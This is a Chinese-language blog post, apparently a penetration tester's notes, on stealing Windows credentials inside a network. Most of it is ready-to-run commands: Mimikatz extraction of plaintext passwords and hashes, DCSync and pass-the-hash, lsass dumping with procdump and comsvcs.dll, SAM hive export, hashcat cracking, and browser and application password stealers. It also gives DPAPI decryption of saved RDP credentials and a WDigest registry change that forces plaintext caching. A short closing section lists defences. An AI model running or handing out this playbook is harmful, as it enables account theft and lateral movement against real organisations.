内网-Windows密码抓取

windows密码抓取

1.Mimikatz介绍

Mimikatz介绍

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取 WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证

项目地址 https://github.com/gentilkiwi/mimikatz/

模块命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
CRYPTO::Certificates – 列出/导出凭证。
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。
KERBEROS::PTT – 票证传递。
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个
接下来看几个常用的模块
sekurlsa模块
process模块
lsass.dmp的转储文件中
导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,
如:“/name:krbtgt”。
LSADUMP::SAM ‐ 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安
全帐户管理器(SAM)
数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。
LSADUMP::Trust ‐ 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或
林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID
)。
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。
使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。
SEKURLSA::Ekeys – 列出 Kerberos 密钥
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的
计算机的凭证。
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over‐Pass‐the‐Hash 的实际过程就是传递了相关的 Key(s))。
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运
行的服务和本地计算机
在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。
TOKEN::List – 列出系统中的所有令牌。
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌

几个常用的模块

sekurlsa模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
privilege模块
privilege::debug 提升为debug权限
sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv 获取HASH (LM,NTLM)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
sekurlsa::livessp 通过livessp 读取明文密码
sekurlsa::ssp 通过ssp 读取明文密码
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file 这个模块可以读取已经打包的内存信息
sekurlsa::pth 哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx
1
cs上:mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1.txt

image-20231010210729894

process模块

1
2
3
4
5
6
7
8
9
process::list 列出进程列表
process::exports 导出进程列表
process::imports 导入列表
process::start 开始一个进程
process::stop 停止一个程序
process::suspend 冻结一个进程
process::resume 从冻结中恢复
process::run notepad 运行一个程序
process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口

image-20231010210718999

小tip:执行process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口,然后在这个窗口中执行cs木马,提升权限到system

image-20231010211354962

image-20231010211404953

kerberos模块

1
2
3
4
kerberos::list 列出系统中的票据
kerberos::tgt 清除系统中的票据
kerberos::purge 导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

1
2
3
4
5
6
7
8
9
(域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root
(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

image-20231010212015418

2.离线读取SAM文件获取密码

导出sam和system文件

1、通多reg命令无工具导出(注册表中)

1
2
reg save hklm\sam sam.hive
reg save hklm\system system.hive
image-20231010212243539 image-20231010212511489

通过cs下载到cs服务器机器上:

image-20231010212638437

2、通过nishang中的Copy-VSS进行复制,如果这个脚本运行在了DC服务器上,ntds.dit 和 SYSTEM hive也能被拷贝出来

1
2
copy‐vss //直接将文件保存在当前目录下
copy‐vss ‐DestinationDir 路径 //指定保存文件的路径(必须是已经存在的路径)

image-20231010213631635

读取sam和system文件获取密码

1
lsadump::sam /sam:sam.hive /system:system.hive
image-20231010213308844

3.mimikatz在线读取sam和lsass获取密码

在线读取sam文件

使用mimikatz在线读取sam文件

1
2
3
4
5
6
分开的命令如下
privilege::debug
token:elevate
lsadump::sam
连起来
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

注意:在cs中执行加上exit 否则可能死循环

image-20231011101631775

在线读取lsass进程

1
2
3
4
5
6
7
8
privilege::debug
sekurlsa::msv 获取HASH (LM,NTLM)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
sekurlsa::livessp 通过livessp 读取明文密码
sekurlsa::ssp 通过ssp 读取明文密码
sekurlsa::logonPasswords 通过以上各种方法读取明文密码

image-20231011102251006

4.mimikatz离线读取lsass进程获取密码(重点)

参考:https://blog.csdn.net/weixin_42136837/article/details/112616369

导出lsass文件方式

1、使用任务管理器导出(windows NT 6)

前提:已经拿到3389远程桌面

image-20231011103136617

image-20231011103157463

2、使用procdump 导出lsass.dmp文件 ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序。 ProcDump 还包括使用窗口挂起 (使用相同的窗口挂起定义,Windows任务管 理器使用) 、未经处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可在其他脚本中嵌入的常规进程转储实用工具。因为是微软的所以一般不会被杀软杀掉

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

image-20231011105344474

image-20231011105400352

下载即可

3、使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建 进程的完整内存转储。

地址 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

image-20231011105807265

1
2
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump

image-20231011110452665

4、comsvcs.dll,系统自带。

通过comsvcs.dll的导出函数MiniDump实现dump内存

1
2
3
首先查看lsass.exe进程PID: tasklist | findstr lsass.exe 

使用powershell导出 rundll32 C:\windows\system32\comsvcs.dll, MiniDump 496 C:\lsass.dmp full

image-20231011111319463

image-20231011111311782

读取lsass.dmp文件

使用mimikatz读取lsass.dmp文件

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

image-20231011112003437

5.使用Hashcat和在线工具破解NTLM Hash

Hashcat介绍

Hashcat是一个密码恢复工具。直到2015年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法。

下载地址: https://hashcat.net/hashcat/

Hashcat的官网是Hashcat.net ,点击进去后会有两个下载选项,我们选择hashcat binaries,这个是直接可以在 Windows下运行的

image-20231011113256689

使用hashcat破解NTLM Hash

1
2
3
hashcat -m 1000 NTLM HASH 字典 ‐‐force
hashcat.exe -m 1000 e45a314c664d40a227f9540121d1a29d dictTest.txt --force
(笔记本上可能会出现问题 硬件原因)

image-20231011115113962

在线网站

https://hashes.com/zh/decrypt/hash

https://www.somd5.com/

https://www.cmd5.com/

https://md5decrypt.net/en/#answer

image-20231011115201403

6.浏览器、数据库等密码的抓取

BrowserGhost浏览器抓取(不太好用)

这是一个抓取浏览器密码的工具,后续会添加更多功能,已经完成的功能如下:

实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)

用.net2 实现可兼容大部分windows,并去掉依赖(不需要System.Data.SQLite.dll这些累赘)

可以解密chrome全版本密码(chrome80版本后加密方式变了)

Chrome已经可以获取login data、cookie、history、book了

命令:BrowserGhost.exe

image-20231011144853082

Sharp-HackBrowserData浏览器

Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓

命令:hack-browser-data-windows-64bit.exe

image-20231011165224088

image-20231011165210980

SharpDecryptPwd数据库

SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析,包括Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品

1
2
3
4
SharpDecryptPwd.exe ‐TeamViewer
SharpDecryptPwd.exe ‐FileZilla
SharpDecryptPwd.exe ‐WinSCP
SharpDecryptPwd.exe ‐Xmangager ‐p Session_Path
image-20231011165354467

LaZagne各类密码

是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算 法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。

命令:laZagne.exe all

1
2
3
4
5
6
7
8
9
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers ‐firefox
laZagne.exe all ‐oN
laZagne.exe all ‐oA ‐output C:\Users\test\Desktop
laZagne.exe ‐h
laZagne.exe browsers ‐h
laZagne.exe all ‐vv
laZagne.exe all ‐quiet ‐oA

7.Windows其他类型抓取NTLM HASH工具

getpassword

打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码

image-20231011170339851

pwdump7

在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLMHash

image-20231011170639628

QuarksPwDump

下载QuarksPwDump.exe,在命令行环境中输人 QuarksPwDump.exe –dump-hash-local 导出三个用户的NLMHash

image-20231011170850242

nishang

nishang中的 GET-PASSHashes.ps1可以可以获取hash

1
2
ImportModule .\Get-PassHashes.ps1
GetPassHashes

image-20231011171055766

wce

这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和 64位两个不同的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
‐l 列出登录的会话和NTLM凭据(默认值)
‐s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
‐r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
‐c 用一个特殊的NTML凭据运行一个新的会话 参数:
‐e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
‐o 保存所有的输出到一个文件 参数:<文件名>
‐i 指定一个LUID代替使用当前登录会话 参数:
‐d 从登录会话中删除NTLM凭据 参数:
‐a 使用地址 参数: <地址>
‐f 强制使用安全模式
‐g 生成LM和NT的哈希 参数<密码>
‐K 缓存kerberos票据到一个文件(unix和windows wce格式)
‐k 从一个文件中读取kerberos票据并插入到windows缓存中
‐w 通过摘要式认证缓存一个明文的密码
‐v 详细输出

8.Windows RDP凭证抓取和密码破解

破解原理

Credentials的解密是Windows系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),接下来我们就讲解RDP凭证的抓取和破解

在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。

1
win+r  mstsc  打开远程桌面连接
image-20231011174133403 image-20231011201859928

凭证的查看

查看凭证命令

1
2
3
4
查看mstsc的连接记录
cmdkey /list
查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
image-20231011202011697 image-20231011202106061

F49CBB3FE896E7F0A076E3E20D6224BE

在线破解

1、使用mimikatz获取该文件的MasterKey的guid

1
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\F49CBB3FE896E7F0A076E3E20D6224BE

以用于加密凭据文件F49CBB3FE896E7F0A076E3E20D6224BE的MasterKey的guid就是:{e6f05b31-8adb-4ae8-9951-91676a3e869c},所以我们只要从内存中找到这个guid对应的MasterKey的值即可

image-20231011202807404

guid:{e6f05b31-8adb-4ae8-9951-91676a3e869c}

2、找到内存中对应的MasterKey

1
mimikatz sekurlsa::dpapi

image-20231011202930916

通过guid找到对应的masterkey:6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054

3、最后打开mimikatz通过MasterKey值去解密凭据文件

1
dpapi::cred /in:凭据文件路径 /masterky:masterkey值
1
2
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\F49CBB3FE896E7F0A076E3E20D6224BE /masterkey:6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
image-20231011203443828

离线破解(建议)

由于我们不能保证我们的mimikatz是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目 的其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。

1、下载目标内存

1
procdump.exe -accepteula -ma lsass.exe lsass1 导出lsass
image-20231011204045521

2、下载目标的Credentials文件

image-20231011205234232

F49CBB3FE896E7F0A076E3E20D6224BE

3、用mimikatz载入dump回来的内存

1
Sekurlsa::minidump lsass1.dump
image-20231011205414273

4、获取Credentials的GUID

1
dpapi::cred /in:F49CBB3FE896E7F0A076E3E20D6224BE
image-20231011205528272

{e6f05b31-8adb-4ae8-9951-91676a3e869c}

5、获取内存中所有的MasterKey

1
sekurlsa::dpapi

image-20231011205634989

6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054

6、利用MasterKey解密

1
dpapi::cred /in:F49CBB3FE896E7F0A076E3E20D6224BE /masterkey:6e0e7e7b41d73db67afbc25a1554847dcff9dfe8ba8a8e6b123bf9f2026a1c6bc1fbb44874f8d80b046e889d0636793f48bfcfbb9457f65880ff8843fff0c054
image-20231011205803451

9.window2018-R2之后抓取密码的方式

在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。

攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取

1
2
privilege::debug 提升为debug权限
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
image-20231011211405458

修改注册表和锁屏

修改注册表

1
2
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

image-20231011212911096

锁屏

1
2
3
4
rundll32.exe user32.dll,LockWorkStation 锁屏

query user 查询登录
logoff ID 下载

image-20231011212832369

image-20231011213003231

抓取密码

1
2
privilege::debug 提升为debug权限
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
image-20231011213350075

10.windows密码抓取防范措施

2012R2域控设置

在windows server 2012 R2中,新增了一个Protected Users 安全组,将用户加入到该组,用户的明文密码就不会 被获取

image-20231011213450667

安装KB2871997

2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安 全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012 也可以更新该补丁后获得上述安全保护机制。该补丁无法阻止”哈希传递“的攻击方式,但其确实有助于是Windows 免受一些常见的攻击,例如:明文密码脱取、RDP凭据盗取、盗取本地Administrator账户进行横向移动。

修改注册表

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

内网-Windows密码抓取
http://example.com/2023/11/03/内网-Windows密码抓取/
作者
r1
发布于
2023年11月3日
许可协议